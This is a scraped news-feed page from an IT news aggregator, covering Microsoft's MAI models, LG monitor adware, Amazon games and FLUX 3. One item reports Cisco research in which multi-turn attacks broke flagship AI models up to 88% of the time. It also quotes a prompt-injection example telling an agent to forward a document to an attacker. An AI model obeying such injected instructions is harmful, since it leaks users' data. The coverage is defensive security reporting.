25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[Microsoft Responds to LG Monitors Installing McAfee Ads On Windows]]></title>
<description><![CDATA[LG is removing a McAfee pop-up ad from its LG Monitor App Installer after criticism that some LG monitors were silently installing the app through Windows Update and showing ads on every boot. Microsoft says LG agreed to disable the McAfee pop-up, but the broader issue remains: Windows allows cer...]]></description>
<link>https://tsecurity.de/de/3690305/it-security-nachrichten/microsoft-responds-to-lg-monitors-installing-mcafee-ads-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690305/it-security-nachrichten/microsoft-responds-to-lg-monitors-installing-mcafee-ads-on-windows/</guid>
<pubDate>Fri, 24 Jul 2026 00:09:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[LG is removing a McAfee pop-up ad from its LG Monitor App Installer after criticism that some LG monitors were silently installing the app through Windows Update and showing ads on every boot. Microsoft says LG agreed to disable the McAfee pop-up, but the broader issue remains: Windows allows certain peripheral companion apps to install automatically without notifying users. Ars Technica reports: Following Gamers Nexus' video, a Microsoft representative stated that the LG Monitor App Installer will no longer show pop-up ads for McAfee. In response to a social media post about the app, Pavan Davuluri, EVP of Windows and devices at Microsoft, said this week: "We've connected with the team at LG and as an immediate next step, they have agreed to disable the McAfee pop-up from their app. We appreciate LG working with us toward a shared goal of a better experience for our mutual customers. We will keep improving here with our ecosystem partners."
 
As mentioned, some LG monitors appear to have been installing LG Monitor App Installer onto Windows computers for months. Publication Windows Latest noted that the app recently got an update, "and its changelog mentions McAfee as an additional app," which could be what prompted more people to see the ads... and then complain about them. However, the removal of McAfee doesn't address the problem of a peripheral installing ad-pushing software onto people's computers.
 
Users have been finding LG Monitor App Installer and its ads on their systems without LG ever showing a prompt or asking for permission. LG has some of the most expensive computer monitors available. Paying, in some cases, over $1,000 for a monitor that ends up forcing ads onto Windows is disruptive and a privacy concern. Once the app is installed, "LG technically possesses permission to use 'all system resources,'" as well as to "collect geolocation, device data, online activity, contacts, user credentials, transactions, and more," [editor-in-chief of Gamers Nexus, Steve Burke] said.<p></p><div class="share_submission">
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<title><![CDATA[Amazon Is Bringing Games to Prime Video]]></title>
<description><![CDATA[Amazon is integrating its Luna cloud gaming service into Prime Video, adding a new "Games" tab where Prime members can play titles like "Hogwarts Legacy," "EA Sports FC 26," "Indiana Jones and the Great Circle," "Clue," and "Taboo." The games will be available starting today on Fire TVs in the U....]]></description>
<link>https://tsecurity.de/de/3690147/it-security-nachrichten/amazon-is-bringing-games-to-prime-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690147/it-security-nachrichten/amazon-is-bringing-games-to-prime-video/</guid>
<pubDate>Thu, 23 Jul 2026 22:09:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon is integrating its Luna cloud gaming service into Prime Video, adding a new "Games" tab where Prime members can play titles like "Hogwarts Legacy," "EA Sports FC 26," "Indiana Jones and the Great Circle," "Clue," and "Taboo." The games will be available starting today on Fire TVs in the U.S. and U.K., with additional supported devices and countries in the coming months. TechCrunch reports: With this move, Amazon is hoping games can turn Prime Video into a one-stop entertainment destination, borrowing a strategy from Netflix, which has increasingly embraced party games over the past several years. Since Amazon already operates a gaming service, it makes sense for the tech giant to integrate it into its streaming platform. [...] Amazon says its vision is to remove the barriers to gaming and make it accessible to anyone regardless of their experience or budget. The tech giant says Luna is designed to bring gaming to a much broader audience by removing the need for expensive consoles or gaming PCs and making games as easy to access as movies or TV shows.<p></p><div class="share_submission">
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<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
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<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. 